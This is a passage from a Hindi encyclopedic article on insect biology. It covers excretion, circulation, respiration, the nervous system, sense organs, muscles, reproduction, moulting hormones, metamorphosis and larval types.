पश्चांत्र अनपची वस्तुएँ गुदा द्वारा बाहर निकाल देता है।

उत्सर्जन तंत्र

मैलपीगियन[117] नलिकाएँ ही मुख्य उत्सर्जन इंद्रियाँ हैं। ये शरीर गुहा के रक्त में से उत्सर्जित पदार्थ अवशोषण कर पश्चांत्र में ले जाती है। नाइट्रोजन, विशेष करके यूरिक अम्ल या इसके लवण, जैसे अमोनियम यूरेट, बनकर उत्सर्जित होता है। यूरिया केवल बहुत ही मात्रा में पाया जाता है।

परिवहन तंत्र

पृष्ठ वाहिका मुख्य परिवहन इंद्रिय है। यह शरीर की पृष्ठ भित्ति के नीचे मध्य रेखा में पाई जाती है। यह दो भागों में विभाजित रहती है-

  1. हृदय
  2. महाधमनी

स्पंदनीय इंद्रियाँ

हृदय के प्रत्येक खंड में एक जोड़ी कपाटदार छिद्र, मुखिकाएँ होती हैं। जब हृदय में संकोचन होता है तो ये कपाट रक्त को शरीर गुहा में नहीं जाने देते हैं। कुछ कीटों में विशेष प्रकार की स्पंदनीय इंद्रियाँ पक्षों के तल पर, श्रृगिकाओं और टाँगों में, पाई जाती हैं।

परिहृद विवर तथा परितंत्रिक्य विवर

पृष्ठ मध्यच्छदा[118] जो हृदय के ठीक नीचे की ओर होती हैं, पृष्ठ वाहिका के बाहर रक्त प्रवाह पर कुछ नियंत्रण रखती है। पृष्ठ मध्यच्छदा के ऊपर की ओर से शरीर गुहा के भाग को परिहृद[119] विवर[120] कहते हैं। यह दोनों ओर पृष्ठ भित्ति से जुड़ा रहता है। कुछ कीटों के प्रति पृष्ठ मध्यच्छदा भी होती है। यह उदर में तंत्रिका तंतु के ऊपर पाई जाती हैं। उस मध्यच्छदा के नीचे वाले शरीर गुहा के भाग का परितंत्रिक्य[121] विवर कहते है।
विवर प्रगति के कारण इसके नीचे के रक्त का प्रवाह पीछे की ओर और दाँए-बाएँ होता है। पृष्ठ वाहिका में रक्त आगे की ओर प्रवाहित होता है और उसके द्वारा रक्त सिर में पहुँच जाता है। वहाँ के विभिन्न इंद्रियों और अवयवों में प्रवेश कर जाता है। दोंनों मध्यच्छदाओं की प्रगति के कारण शरीर गुहा मे रक्त का परिवहन होता रहता है। अंत में मध्यच्छदा के छिद्रों द्वारा रक्त परिहृद विवर में वापस आ जाता है। वहाँ से रक्त मुखिकाओं द्वारा फिर पृष्ठ वाहिका में भर जाता है। रक्त में प्लाविका होती है, जिसमें विभिन्न प्रकार की कणिकाएँ पाई जाती हैं। रक्त द्वारा सब प्रकार के रस द्रव्यों की विभिन्न इंद्रियों में परस्पर अदला-बदली होती रहती है। यही हारमोन की ओर आहार नली से भोजन को सारे शरीर में ले जाता है, उत्सर्जित पदार्थ को उत्सर्जन इंद्रियों तक पहुँचाता है तथा रक्त श्वसन क्रिया में भी कुछ भाग लेता है। परिहृद कोशिकाएँ या नफ्रेोसाइट[122] प्राय: हृदय के दोनों ओर लगी रहती हैं।

उत्सर्जन कार्य

ये उत्सर्जन योग्य पदार्थो को रक्त से पृथक कर जमा कर लेती है। तृणाभ कोशिकाएँ[123] प्राय हल्के पीले रंग की कोशिकाएँ होती है, जो विभिन्न कीटों में विभिन्न स्थानों पर पाई जाती हैं। कुछ कीटों में ये श्वासरध्रं[124] के पास मिलती हैं। इनका कार्य भी उत्सर्जन और विषैले पदार्थों को रक्त से पृथक करना है। इनका वृद्धि और संभवत जनन से विशिष्ट संबंध रखता है। वसा पिंडक या अव्यवस्थित ऊतक शरीर गुहा में पाया जाता है। कभी-कभी इनका विन्यास खंडीय प्रतीत होता है। वसा पिंडक पत्तर या ढीले सूत्रों[125] अथवा ढीले ऊतकों के समान होते हैं। उनका मुख्य कार्य संचित पदार्थो के रक्त से पृथक कर अपने में जमा करना है। कुछ कीटों में यह उत्सर्जन का कार्य भी करते हैं। पांडुंर ग्रंथियाँ[126] एक जोड़ी निश्रोत ग्रंथियाँ होती हैं, जो ग्रसिका के पास, मष्तिष्क के कुछ पीछे और कॉरपोरा कार्डियेका[127] से जुड़ी हुई पाई जाती हैं। ये तारुणिका हारमोन का उत्सर्जन करती हैं, जो रूपांतरण और निर्मोचन पर नियंत्रण रखता है।

श्वसन तंत्र

श्वासन नलिकाएँ

यह श्वास प्रणाल[128] नामक बहुत सी शाखा वाली वायु नलिकाओं का बना होता है। श्वास प्रणाल में भीतर की ओर बाह्यत्वक का आवरण रहता है, जिसमें पेंटदार अर्थात घुमावदार स्थूलताएँ[129] होती हैं, जिससे श्वास प्रणाल सिकुड़ने नहीं पाता है। हवा भरी रहने पर ये चाँदी के समान चमकती है। श्वास प्रणाल में विभाजित हो जाती है। ये शाखाएँ स्वयं भी महीन शाखाओं में विभाजित हो जाती है। इस विभाजन के कारण अंत में श्वास प्रणाल की बहुत महीन-महीन नलिकाएँ बन जाती हैं, जिन्हें श्वासन नलिकाएँ[130] कहते हैं।

श्वासरध्रं

श्वासन नलिकाएँ शरीर की विभिन्न इंद्रियों में पहुँचती हैं। कहीं-कहीं श्वास प्रणाल बहुत फैलकर वायु की थैली बन जाता है। शरीर भित्ति में दाएँ-बाएँ पाए जाने वाले जोड़ीदार छिद्रों द्वार जिन्हें श्वासरध्रं कहते हैं, वायु श्वास प्रणाल में पहुँचती है। श्वासरध्रं में बन्द करने और खोलने का भी साधन रहता है। प्राय: ऐसी रचना भी पाई जाती हैं, जिसके कारण कोई अन्य वस्तु इनमें प्रवेश नहीं कर पाती है। लाक्षणिक रूप से कुल दस जोड़ी श्वासरध्रं होते हैं, दो जोड़ी वक्ष में और आठ जोड़ी उदर में। प्राय: यह संख्या कम हो जाती है। श्वसन गति के कारण वायु सुगमता से श्वासरध्रं में से होकर श्वास प्रणाल की ओर वहाँ से विसरण[131] द्वारा श्वास नलिकाँओं में, जहाँ से अंत में ऊतकों को ऑक्सीजन मिलती है तथा पहुँचती है। कार्बन डाइ-आक्साइड कुछ तो झिल्लीदार भागों से विसरण द्वारा और कुछ श्वासरंध्र द्वारा बाहर निकल जाता है। उदर की प्रतिपृष्ठ[132] पेशियों के सिकुडने से शरीर चौरस हो जाता है, या उदर के कुछ खंड भीतर घुस जाते हैं, जिससे शरीर गुहा का विस्तार घट जाता है और इस प्रकार निश्वसन हो जाता है।

शरीर

त्वचीय श्वसन

खंडों की प्रत्यास्थता के कारण शरीर अपनी उत्तलता[133] पुन प्राप्त कर लेता है। इस प्रकार निश्वसन होता है। बहुत से जलवासी कीट रक्त या श्वास प्रणाल की जल श्वास नलिकाआैं द्वारा श्वसन करते हैं। जिन कीटों में श्वास प्रणाल का लोप होता है, उनमें त्वचीय श्वसन होता है।

तंत्रिका तंत्र

तंत्रिका तंत्र में केंद्रीय तंत्रिका तंत्र, अभ्यंतरांग तंत्रिका तंत्र और परिधि संवेदक तंत्रिका तंत्र सम्मिलित हैं। केंद्रीय तंत्रिका तंत्र[134] में लाक्षणिक रूप से एक मस्तिष्क, जो ग्रसिका के ऊपर रहता है, और एक प्रति पृष्ठ तंत्रिका रज्जु[135] होता है। ये दोनों आपस में संयोजी द्वारा जुड़े रहते हैं। दोनों संयोजी[136] ग्रसिका के दाएँ-बाएँ रहते हैं। मस्तिष्क सिर में स्थित और तीन भागों में विभाजित रहता है-

  1. प्रोटोसेरेब्रम[137]
  2. ड्यूटोसेरेब्रम[138]
  3. ट्राइटोसेरेब्रम[139]

उनमें तंत्रिकाएँ नेत्रों और श्रृंगिकाओं को जाती हैं। प्रति पृष्ठ तंत्रिका तंतु में शरीर के लगभग प्रत्येक खंड में एक-एक गुच्छिका पाई जाती है। पहली उपग्रसिका गुच्छिका सिर में ग्रसिका के नीचे रहती हैं। इसमें से तंत्रिकाएँ मुख भागों को जाती हैं। आगामी तीन गुच्छिकाएँ वक्ष के तीन खंडों में स्थित होती है, जिनकी तंत्रिकाएँ पक्षों और टागों को जाती हैं। तंत्रिका तंतु की शेष गुच्छिकाएँ उदर में स्थिति रहती हैं। बहुत से कीटों में इनमें से बहुत-सी गुच्छिकाओं का समेकन हो जाता है, जैसे घरेलू मक्खी और गुंबरैला में उदर और वक्ष की सब गुच्छिकाएँ मिलकर एक सामान्य केन्द्र बन जाती हैं। मस्तिष्क संवेदना और आसंजन का मुख्य स्थान है तथा दाईं-बाईं पेशियों के सामान्यत रहने वाली उचित दशा[140] पर प्रभाव डालता है। उदर की गुच्छिकाएँ विशेष रूप से स्वतंत्रता प्रदर्शित करती हैं। प्रत्येक गुच्छिका अपने खंड का स्थानीय केन्द्र सी बन जाती है। यदि उचित रीति से उद्दीपन किया जाए और अंतिम गुच्छिका तथा इसकी तंत्रिकाओं को कोई हानि न पहुँची तो जीवित उदर, जो वक्ष से पृथक कर दिया गया है, अंडारोपण कर सकता है। अभ्यंतरांग तंत्रिकातंत्र[141] अभयंत्र के ऊपर पाया जाता है और इसमें से हृदय तथा अग्रतंत्र तो तत्रिकाएँ जाती हैं। परिधि तंत्रिका तंत्र[142] इंटेग्यूमेंट[143] के नीचे रहता है।

ज्ञानेंद्रियाँ

संयुक्त नेत्र और सरल नेत्र दृष्टि संबंधी इंद्रियाँ हैं। लाक्षणिक रूप से प्रोढ़ों और प्राय निम्फो में दोनों ही प्रकार के नेत्र पाए जाते हैं, किंतु डिंभों में केवल सरल नेत्र ही पाए जाते हैं जो दाएँ बाएँ होते हैं। संयुक्त नेत्र में बहुत से पृथक-पृथक चाक्षुष भाग होते हैं, जिन्हें नेत्राणु[144] कहते हैं। ये बाहर से पारदर्शक कोर्निया से ढके रहते हें। कोर्निया षट्कोण लेंज़ों[145] में विभाजित रहती है। लेंज़ों की संख्या इनकी भीतरी ओमेटीडिया की संख्या से ठीक बराबर होती है। सरल नेत्र में केवल एक ही उभयोत्तल लेंज़ होता है, जो चाक्षुष भाग के ऊपर रहता है।

टेपेटम

दिन और रात में उड़ने वाले कीटों के नेत्रों में अंतर होता है। रात में उड़ने वाले कीटों नेत्रों में अंतर होता है। रात में उड़ने वाले कीटों के संयुक्त नेत्रों में एक रचना होती है, जो टेपेटम[146] कहलाती है। टेपटेम नेत्रों में प्रवेश करने वाले प्रकाश को परावर्तित करता है, अत: नेत्र अँधेरे में चमकते हैं। संयुक्त नेत्रों में प्रतिबिंब दो प्रकार का बनता है। जो नेत्राणु चारों और से काले रंजक[147] से ढका रहता है, उसमें केवल वे ही किरणें प्रवेश कर पाती हैं, जो नेत्राणु के समांतर होती हैं। शेष सब किरणें रंजक द्वारा अवशोषित हो जाती हैं। इस प्रकार बना हुआ प्रतिबिंब एक कुट्टम चित्र[148] होगा और उतने भागों का बना होगा, जितनी कोर्निया में मुखिकाएँ होंगी। इस रचना के कारण केवल थोड़ा-सा ही प्रकाश उपयोगी होता है, किंतु प्रतिबिंब अधिक स्पष्ट होता है, जिन नेत्राणुओं के केवल भीतरी भाग ही रंजक से ढके रहते हैं, उनमें उनकी मुखिकाओं के अतिरिक्त पास वाली अन्य मुखिकाओं की किरणें भी प्रवेश कर पाती हैं। ऐसे प्रतिबिंब में लगभग सभी किरणों का उपयोग हो जाता है, प्रतिबिंब प्राय: कम स्पष्ट होता है।

कर्ण

बहुत से कीटों में कर्ण होते हैं, जो शरीर के विभिन्न भागों में पाए जाते हैं। बहुत से टिड्डों और टिड्डियों में उदर के अग्र भाग में दोनों ओर कर्ण पाए जाते हैं। खेरिया के कर्ण में बाहरी ओर एक झिल्ली होती है, जिसके भीतर की ओर संवेदक कोशिकाओं का एक गुच्छा रहता है। श्वास प्रणाल की वायु थैलियों का कर्ण से समागम रहता है। ये अनुनादक[149] का कार्य करते हैं। जब ध्वनि तरंगे झिल्ली पर टकराती हैं, तो उसमें कंपन उत्पन्न होता है, जो अंत में संवेदक कोशिकओं को प्रभावित करता है। कीट अधिक उच्च आवृत्ति की ध्वनियाँ भी सुन सकते हैं, जैसे लगभग 45,000 आवृत्ति प्रति सेंकड तक की ध्वनि। कीटों में वाणी नहीं होती है, किंतु वे ध्वनि उत्पन्न कर सकते हैं। ध्वन्युत्पादन की अनेक विधियाँ हैं। टिट्टिभ अपने पश्च ऊर्विका का भीतरी किनारा, जिस पर नन्हीं कीलें सीधी रेखा में पाई जाती हैं। उसी ओर के अग्र पक्ष की रेडियस शिरा के मोटे भाग पर रगड़कर ध्वनि उत्पन्न करता है। खेरिया अपने एक अग्र पक्ष के क्यूविटस शिरा की कीलों के दूसरे अग्रपक्ष के किनारे के मोटे भाग पर रगड़ कर ध्वनि उत्पन्न कराता।

घ्राणेद्रियाँ

घ्राणेद्रियाँ विशेषकर श्रृंगिकाओं पर ही पाई जाती है और विभिन्न प्रकार की होती हैं। इनकी संख्या नर में प्राय: अधिक होती है, जैसे नर मधुमक्खी की श्रृंगिका पर लगभग 30,000 कर्मकार में 6,000 और रानी में केवल 2,000। स्वादेंद्रियाँ बहुत से कीटों में एपिफैरिंग्स पर, कई एक में मुख के किनारे तथा स्पर्शिनियों पर पाई जाती हैं। अन्य प्रकार का ज्ञान शरीर के विभिन्न भागों पर उगे हुए परिवर्तित बालों या विशेष प्रकार के नन्हें काँटों द्वारा होता है। ये इंद्रियाँ बाल, रिकाबी या कील आदि के आकार की होती हैं।

पेश तंत्र

कीटों में रेखित पेशियाँ पाई जाती हैं, जो दो भागों में विभाजित की जा सकती है-

  1. कंकाल पेशियाँ ये फीते के आकार की होती हैं, शरीर भित्ति पर जुड़ी रहती हैं और शरीर के खंडों में गति करने का कार्य करती है।
  2. आंतरंगीय पेशियाँ आंतरिक अंगों को ढके रहती है; इनके तंतु लंबाकार और वर्तुलाकार होते हैं, जैसे आंत्र के चारों ओर कार्य करती हैं।

कीटों में पेशियों की संख्या बहुत अधिक होती है, कभी-कभी लगभग 4,000 तक पेशियाँ होती हैं। कुछ कीट बहुत ही धीमे चलते हैं, कुछ दौड़ते हैं और कुछ बड़ी चपलता से उड़ते हैं। अनेक कीट अपने शारीरिक भार से दस से बीस गुना तक बोझ वहन कर सकते हैं। पिस्सू, जिसकी टाँगे 120 इंच लंबी होती हैं, 8 इंच तक की ऊँचाई और 13 इंच तक की लंबाई कूद सकता है। यह शक्ति इसकी पेशियों के परिमाण के अनुरूप है, जो पेशी जितनी अधिक छोटी होगी, उसमें अनुपातिक दृष्टि से उतनी ही अधिक क्षमता होगी।

जननेंद्रियाँ

नर और मादा दोनों प्रकार की जननेंद्रियाँ कभी-भी एक ही कीट में नहीं पाई जातीं हैं। नर कीट मादा कीट से प्राय: छोटा होता है। नर में एक जोड़ी वृषण होता है और प्रत्येक वृषण में शुक्रीय नलिकाएँ होती हैं, जो शुक्राणु का उत्पादन करती हैं। वृषण से शुक्राणु शुक्र वाहक में पहुँच जाते हैं और अंत में स्खलनीय[150]) नलिका में पहुँचते हैं, जो शिशन में खुलती है। कभी-कभी शुक्र वाहक, किसी निश्चित स्थान में फैल जाते हैं और शुक्राणु जमा करने के लिए शुक्राशय बन जाते हैं। किन्हीं-किन्हीं में सहायक[151] ग्रंथियाँ भी पाई जाती हैं। मादा में एक जोड़ी अंडाशय होता है, प्रत्येक में अंड नलिकाएँ होती हैं, जिनमें विकसित होते हुए अंडे पाए जाते हैं।

शुक्रकोष

अंड नलिकाओं की संख्या विभिन्न जाति के कीटों में भिन्न-भिन्न हो सकती है। परिपक्व होकर अंडे अंड वाहिनी में आ जाते हैं और वहाँ से सामान्य अंडवाहिनी[152] में पहुँचकर मादा के जनन संबंधी छिद्र द्वारा बाहर निकल जाते हैं, प्राय: एक शुक्रधानी शुक्राणु जमा करने के लिये और एक या दो जोड़ी सहायक ग्रंथियाँ भी उपस्थित रहती हैं। नर की सहायक ग्रंथियाँ एक द्रव पदार्थ उत्सर्जित करती हैं, जो शुक्राणुओं में मिश्रित हो जाता है। कभी-कभी शुक्राणुओं को कोषाकार पैकेट बन जाता है, जो शुक्रकोष[153] कहलाता है मादा की सहायक ग्रंथियाँ का स्राव अंडों को एक साथ जोड़ता है, या पत्तियों अथवा अंडों को अन्य वस्तुओं से चिपकाता है। कभी-कभी इस स्राव से अंडों को रखने के लिए थैली भी बन जाती है, जैसे तेलचट्टा में बन जाती हैं। बर्रे की ये ग्रंथियाँ विष उत्पन्न करती हैं, जो डंक मारते समय शिकार के शरीर में प्रविष्ट कर जाता है। अंड संसेचन दोनों लिंगों के संयोग पर निर्भर है। कुछ कीटों में यह जीवन में कई बार हो सकता है।

जनन

अनिषेक जनन

यह साधारण रूप से मैथुन और शुक्राणु द्वारा अंडे के संसेचन पर निर्भर करता है। अधिकतर कीट अंडे देते हें, जिनसे कालांतर में बच्चे निकलते हैं, कुछ कीट अंडे का शुक्राणु से संसेचन नहीं करते हैं। इस प्रकार का जनन अनिषेक जनन[154] कहलाता है। कुछ जातियों में यह एक अनूठी और कभी कभी होने वाली घटना होती है, तथा कुछ शलभों में असंसेचित[155] अंडों से नर और मादा दोनों ही उत्पन्न होती हैं। सामाजिक मधुमक्खियों में अनिषेक जनन बहुधा होता है, किंतु असंसेचित अंडों से केवल नर ही उत्पन्न होते हैं।

चक्रीय अनिषेक जनन

कुछ स्टिक[156] कीटों में असंसेचित अंडों से अधिकतर मादा ही उत्पन्न होती हैं और नर बहुत ही कम होती हैं। साफिलाइीज़ में नरों की उत्पत्ति संभवत: होती ही नहीं है, इस कारण संसेचन हो ही नहीं सकता है। केवल अनिषेक जनन होता है। द्रुमयूका[157] में चक्रीय अनिषेक जनन होता है, अर्थात असंसेचित और संसेचित अंडों में उत्पादन नियमानुसार क्रम से होता रहता है।

पीडोज़ेनेसिस

कुछ जातियों में अपपिक्व[158] कीट भी जनन करते हैं। इस घटना को पीडोज़ेनेसिस[159] कहते हैं। माइएस्टर[160] कीट के डिंभ अन्य डिंभों का उत्पादन करते हैं और इस प्रकार कई पीढ़ी तक उत्पादन होता रहता है। इसके पश्चात इनमें से कुछ डिंभ परिवर्धित होकर प्रौढ़ नर और मादा बन जाते हैं, जो परस्पर मैथुन के पश्चात डिंभ उत्पन्न करते हैं। इन डिंभों से पहले की भांति फिर उत्पादन आरंभ हो जाता है। बहुभ्रूणता[161] का अर्थ है। एक अंडे से एक से अधिक कीटों का उत्पन्न होना। इस प्रकार का उत्पादन पराश्रयी कला पक्षों में पाया जाता है। प्लैटिगैस्टर हीमेलिस[162] के कुछ अंडों में से दो डिंभ उत्पन्न होते हैं, किंतु किसी किसी पराश्रयी कैलसिड[163] के प्रत्येक अंडे से लगभग एक सहस्र तक डिंभ उत्पन्न हो जाते हैं।

मैथुन

कुछ कीटों में मैथुन केवल एक ही बार होता है। तत्पश्चात मृत्यु हो जाती है, जैसा एफिमेरॉप्टरा[164] गण के कीटों में। मधुमक्खी की रानी यद्यपि कई वर्ष तक जीवित रहती है, तथापि मैथुन केवल एक ही बार करती है और एक ही बार में इतनी पर्याप्त मात्रा में शुक्राणु पहुँच जाते हैं कि जीवन भर इसके अंडों का संसेचन करते रहते हैं। मैथुन के पश्चात नर की शीघ्र ही मृत्यु हो जाती है। बहुत से कीटों के नर जीवन में कई बार पृथक-पृथक मादाओं से मैथुन करते हैं और बहुत से कंचुक पक्षों के नर और मादा दोनों बार-बार मैथुन करते हैं।

अंडा

अंडे साधारणत: बहुत छोटे होते हैं। फिर भी अंडे को देख कर यह बतलाना प्राय: संभव होता है कि अंडे से किस प्रकार का कीट निकलेगा। बहुधा यह बात बहुत महत्व रखती है, क्योंकि इससे हानिकारक कीटों की हानिकारक दशा के विषय में भविष्य वाणी की जा सकती है। इसलिए अंडों के आकार, रूप और रंग तथा अंडे रखने के स्थान और विधि का ध्यान रखना आवश्यक है। अंडे समतल, शल्क्याकार, गोलाकार, शंक्वाकार तथा चौड़े हो सकते हैं। अंडे का ऊपरी आवरण पूर्ण रूप से चिकना या विभिन्न प्रकार के चिन्ह्नोंवाला होता है। अंडे पृथक-पृथक या समुदायों में रखे जाते हैं। तेलचट्टे[165] के अंडे डिंभ कोष्ठ[166] के भीतर रहते हैं। जलवासी कीटों के अंडे चिपचिपे लसदार पदार्थ से ढके रहते हैं। अंडे में वृद्धि करते हुए भ्रूण के पोषण के लिए पर्याप्त मात्रा में भोजन में पाया जाता है। जो योक[167] कहलाता है।

अंडरोपण

अंडारोपण विभिन्न प्रकार से होता है। अंडे ऐसे स्थानों पर रखे जाते हैं, जहाँ उत्पन्न होने वाली संतान की तत्कालीन आवश्यकताएँ पूर्ण हो सकें। कुछ जातियों की मादाएँ नीचे उड़ान उड़ती हैं, अपने अंडे अनियमित रीति से गिराती चली जाती हैं। बहुत से शलभों की मादाएँ, जिनके डिंभ घास या उसकी जड़ खाते है, उड़ते समय अपने अंडे घास पर गिराती चली जाती हैं। साधारणत: अंडे ऐसे पौधों पर रखें, पौधों के ऊतकों में प्रविष्ट कर दिए जाते हैं, जिनको डिंभ खाते हैं, जैसे कुछ प्रकार के टिड्डों में होता है। कुछ कीट अपने अंडे मिट्टी में रखते हैं। पराश्रयी जातियों के कीट अपने अंडों को उन पोषकों के ऊपर या भीतर रखते हैं, जो उनकी संतानों का पोषण करते हैं।

शक्ति

विभिन्न जातियों की मादाओं के अंडों की संख्या विभिन्न होती है। द्रुमयूका की कुछ जातियों की मादाएँ शीत काल में केवल एक ही बड़ा अंडा रखती हैं। घरेलू मक्खी अपने जीवन में 2,000 से अधिक अंडे रखती है। दीमक की रानी में अंडा रखने की शक्ति सबसे अधिक होती है। यह प्रति सेकंड एक अंडा दे सकती है और अपने छह से बारह वर्ष तक के जीवन में 10,00,000 अंडे देती है।
भ्रूण जब पूर्ण रीति से विकसित हो जाता है और अंडे से बाहर निकलने को तैयार होता है, तब शुक्ति में पहले से बनी हुई टोपी को अपने अंडा फोड़ने वाले काँटों से हटाकर बाहर निकल आता है। कुछ कीटों में आरंभ में भ्रूण वायु निगलकर अपना विस्तार इतना बढ़ा लेते हैं कि शुक्ति टूट जाती है। बच्चे को बाहर निकलने में उसकी पेशियाँ सहायता करती हैं।

परिवर्धन

अंडे के संसेचन के पश्चात परिवर्धन आरंभ हो जाता है। प्रारंभ में दो स्तर वाला मूल पट्टा या जर्म बैंड[168] बनता है, जो अनुप्रस्थ[169] रेखाओं द्वारा बीस अंडों में विभक्त हो जाता है। अगले छह खंड सिर, परवर्ती तीन खंड वक्ष और शेष खंड टेलसन[170] के साथ मिलकर उदर बनाते हैं। प्रथम खंड और टेलसन के अतिरिक्त प्रत्येक खंड में एक जोड़ा भ्रूणीय अवयव विकसित हो जाता है। अवयवों के प्रथम युग्म का संबंध द्वितीय खंड से रहता है और इनसे श्रृंगिकाएँ बनती हैं। द्वितीय जोड़ी बहुत ही छोटी और क्षणिक होती है। तीसरी, चौथी और पाँचवी जोड़ी के अवयव विकसित होकर मैंडिबल, मैक्सिला और लेबियम बन जाते हैं। इनके पीछे वाले तीन जोड़ी अवयव कुछ बड़े तथा स्पष्ट होते हैं। ये टाँगों के अग्रवर्ती है। उदर के अवयवों की अंतिम जोड़ी सरसाई बन जाती हैं किंतु शेष सब जोड़ियाँ डिंभ निकलने से पूर्व ही प्राय: नष्ट हो जाती है।

वृद्धि

अंडे से निकलने के पश्चात ही वृद्धि आरंभ होती है। जन्म से प्रौढ़ता तक कीट के आकार में जो वृद्धि होती है, वह अत्यधिक आश्चर्य जनक है। प्रौढ़ कीट की तल तक जन्म होने के समय की तौल से 1,000 से 70,000 गुना तक हो सकती है। इतनी अधिक वृद्धि ऐसे खोल के भीतर, जिसका विस्तार बढ़ नहीं सकता, नहीं हो सकती है। अत: खोल का टूटना अति आवश्यक है। यह केंचुल के पतन[171] से ही संभव है। जीर्ण बाह्यत्वक को केंचुल कहते हैं।

केंचुल ग्रंथियाँ तथा प्रौढ़ कीट

जीर्ण बाह्यत्वक के फटने से पूर्व ही इसके भीतर वाले अधिचर्म की कोशिकाएँ नवीन बाह्यत्वक का उत्सर्जन कर देती हैं। तत्पश्चात इनमें से कुछ विशेष प्रकार की कोशिकाओं से, जो केंचुल ग्रंथियाँ कहलाती हैं, एक द्रव पदार्थ निकलता है। यह द्रव पदार्थ पुराने बाह्यत्वक के भीतरी स्तर को विलीन कर नए बाह्यत्वक से पृथक कर देता है, इसको कोमल भी बना देता है तथा स्वयं पुराने और नए बाह्यत्वक के मध्य एक महीन झिल्ली सी बन जाती है। ऐसे समय में कीट में वृद्धि हो जाती है। केंचुल पतन के पश्चात कीट की आकृति को इनस्टार[172] कहते हैं। जब कीट अंडे से निकलता है, तो प्रथम इन्स्टार होता है, प्रथम केंचुल पतन के पश्चात कीट द्वितीय इन्स्टार होता है, अंतिम इनस्टार पूर्ण कीट या प्रौढ़ कीट कहलाता है।

रूपांतरण

अधिकतर कीटों में अंडे से जो डिंभ निकलता है, उसकी आकृति और रूप वयस्क कीट से बहुत भिन्न होता है। बहुत से कीटों में डिंभ की आकृति और रूप में प्रौढ़ बनने तक अनेक परिवर्तन आ जाते हैं। इस प्रकार के परिवर्तनों को रूपांतरण[173] कहते हैं। जिन कीटों में रूपांतरण नहीं होता उन्हें रूपांतरणहीन[174] कहते हैं। उदाहरण :- इसका उदाहरण लेहा[175] है।

मेटाबोला=

अधिकतर कीटों में रूपातंरण होता है और ऐसे कीट मेटाबोला[176] कहलाते हैं। कीटों में दो प्रकार के क्रियाशील अप्रौढ़ पाए जाते हैं। ये निंफ और डिंभ कहलाते हैं।

निंफ

निंफ उस अप्रौढ़ अवस्था के कीट को कहते हैं, जो अंडे से निकलने पर अधिक उन्नत होता है। निंफ का पूर्ण कीट से यह भेद होता है कि इसमें पक्ष तथा बाह्य जननेंद्रियाँ विकसित नहीं होती हैं। ये स्थल पर रहते हैं और पक्षों का विकसन बाह्य रूप से होता है।

अपूर्ण रूपांतरण

निंफ से पूर्ण कीट तक की वृद्धि क्रमिक होती है और प्यूपा नहीं बनता है। इस प्रकार के परिवर्तन का अपूर्ण रूपांतरण तथा कीट समुदाय को हेमिमेटाबोला[177] भी कहते हैं, जैसे ईख की पंखी। डिंभ उस अप्रौढ़ अवस्था के कीट से बहुत भिन्न होता है। इसमें पक्षों का कोई भी बाह्य चिन्ह नहीं पाया जाता है।

पूर्ण रूपांतरण

डिंभ को पूर्ण कीट बनने से पहले प्यूपा बनना पड़ता है। इस प्रकार के परिवर्तन को पूर्ण रूपांतरण[178] कहते हैं, जैसे घरेलू मक्खी में।

हायपर रूपांतरण

अत्यल्प कीटों में उपरिपरिवर्धन होता है। इन डंभों में डिंभ अवस्था में भी अत्यधिक परिवर्तन पाया जाता है। इनमें चार या इससे अधिक स्पष्ट इन्स्टार होते हैं। इनके जीवन और व्यवहार में भी बहुत भेद पाया जाता है। इस प्रकार के परिवर्तन को हायपर[179] रूपांतरण कहते हैं, जैसा कैंथेरिस[180] में। कीटों में रूपांतरण के नियमन का दो हारमोनों से संबंध होता है-

  1. केंचुल पतन कारक हारमोन
  2. शैशव[181] हारमोन

केंचुल पतन कारक हारमोन

यह हारमोन प्राय: वक्षीय ग्रंथि उत्सर्जित करता है। यह हारमोन कीट का केंचुल पतन करता है। प्रौढ़ में वक्षीय ग्रंथि लुप्त हो जाती है, इसलिये केंचुल पतन भी समाप्त हो जाता है। यदि निंफ की वक्षीय ग्रंथि प्रौढ़ में जमा दी जाए तो प्रौढ़ भी केंचुल पतन करने लगेगा।

शैशव हारमोन

ये कारपोरा अलाटा उत्सर्जित करते हैं। यह हारमोन प्रौढ़ के लक्षणों को दबाए रखता है और निंफों के लक्षणों के तीव्रता से उभाड़ने में सहायता करता है। रूपांतरण के समय वक्षीय ग्रंथि की क्रिया शीलता बढ़ जाती है और इसके हारमोन का प्रभाव इतना पर्याप्त होता है कि शैशव हारमोनों के प्रभाव को कुचल देता है और इस प्रकार रूपांतरण हो जाता है। नेऐड[182] जलवासी और बहुत क्रियाशील अप्रौढ़ होते हैं। इनके श्वासरध्रं बंद होते है। श्वसन जल श्वास नलिकाओं द्वारा होता है। ये कैंपोडीईफॉर्म[183] होते हैं, अर्थात टाँगे भली-भाँति विकसित और शरीर चौरस होता है।

डिंभ

डिंभ होलोमेटाबोलस और हाइपरमेटाबोलस कीटों की एक अप्रौढ़ अवस्था है। डिंभ जब अंडे से निकलते है, तब भिन्न-भिन्न जातियों के अनुसार उनके परिवर्धन की दशाएँ भिन्न-भिन्न हो सकती हैं। इनकी यह दशा कुछ अंश तक योक की मात्रा पर, जो इनकी वृद्धि के लिए अंडे में उपस्थित रहता है, निर्भर रहती है। प्राय: ऐसा देखा गया है कि जब अंडे में योक की मात्रा कम होती है, तब अंडे से निकलते समय डिंभ अधिक अपूर्ण होता है। डिंभ चार प्रकार के होते हैं-

  1. प्रोटोपॉड[184]
  2. पॉलिपॉड[185] या इरूसिफॉर्म[186]
  3. ऑलिगोपॉड[187]
  4. ऐपोडस[188]

प्रोटोपॉड

ये डिंभ पर जीवी कला पक्षों में पाए जाते हैं, क्योंकि इनके अंडों में योक अत्यल्प मात्रा में होता है। ये डिंभ लगभग भ्रूणीय अवस्था में ही होते हैं। इनका जीवित रहना इसलिए संभव होता है कि या तो ये अन्य कीटों के अंडों में या उनके शरीर के भीतर रहते हैं, जहाँ इनको वृद्धि करने के लिए अत्यधिक पुष्टिकर भोजन मिलता है। इनके उदर में खंड या किसी प्रकार के अवयव नहीं पाए जाते हैं।

पॉलिपॉड या इरूसिफॉर्म

डिंभों के शरीर में स्पष्ट खंड और उदर पर अवयव भी होते हैं। श्रृंगिकाएँ और विद्यमान होती हैं, किंतु छोटी होती हैं। ये अपने भोजन के समीप रहते हैं और इस कारण आलसी होते हैं। ऐसे डिंभ इल्ली कहलाते हैं और तितलियों, शलभों तथा साफिलाइज़ में पाए जाते हैं।

ऑलिगोपॉड

